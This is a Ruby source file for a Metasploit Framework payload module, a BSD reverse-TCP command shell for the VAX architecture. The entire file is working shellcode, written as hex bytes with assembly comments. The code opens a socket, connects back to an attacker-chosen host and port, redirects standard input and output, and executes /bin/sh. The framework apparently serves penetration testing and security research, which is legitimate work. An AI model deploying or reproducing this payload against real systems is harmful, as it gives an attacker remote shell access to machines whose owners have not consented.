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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_tcp'
module MetasploitModule
CachedSize = 100
# This is so one-off that we define it here
ARCH_VAX = 'vax'
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'BSD Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => 'wvu',
'License' => MSF_LICENSE,
'Platform' => 'bsd',
'Arch' => ARCH_VAX,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShellUnix,
'Payload' => {
'Offsets' => {
'LHOST' => [24, 'ADDR'],
'LPORT' => [32, 'n']
},
'Payload' =>
"\xdd\x00" + # pushl $0
"\xdd\x01" + # pushl $1
"\xdd\x02" + # pushl $2
"\xdd\x03" + # pushl $3
"\xd0\x5e\x5c" + # movl sp,ap
"\xbc\x8f\x61\x00" + # chmk $61
"\xd0\x50\x5a" + # movl r0,r10
"\xdd\x00" + # pushl $0
"\xdd\x00" + # pushl $0
"\xdd\x8f\x00\x00\x00\x00" + # pushl LHOST
"\xdd\x8f\x02\x00\x00\x00" + # pushl AF_INET + LPORT
"\xd0\x5e\x5b" + # movl sp,r11
"\xdd\x10" + # pushl $10
"\xdd\x5b" + # pushl r11
"\xdd\x5a" + # pushl r10
"\xdd\x03" + # pushl $3
"\xd0\x5e\x5c" + # movl sp,ap
"\xbc\x8f\x62\x00" + # chmk $62
"\xd0\x00\x5b" + # movl $0,r11
"\xdd\x5b" + # pushl r11
"\xdd\x5a" + # pushl r10
"\xdd\x02" + # pushl $2
"\xd0\x5e\x5c" + # movl sp,ap
"\xbc\x8f\x5a\x00" + # chmk $5a
"\xf3\x02\x5b\xef" + # aobleq $2,r11,dup2
"\xdd\x8f\x2f\x73\x68\x00" + # pushl $68732f
"\xdd\x8f\x2f\x62\x69\x6e" + # pushl $6e69622f
"\xd0\x5e\x5b" + # movl sp,r11
"\xdd\x00" + # pushl $0
"\xdd\x00" + # pushl $0
"\xdd\x5b" + # pushl r11
"\xdd\x03" + # pushl $3
"\xd0\x5e\x5c" + # movl sp,ap
"\xbc\x3b" # chmk $3b
}
))
end
end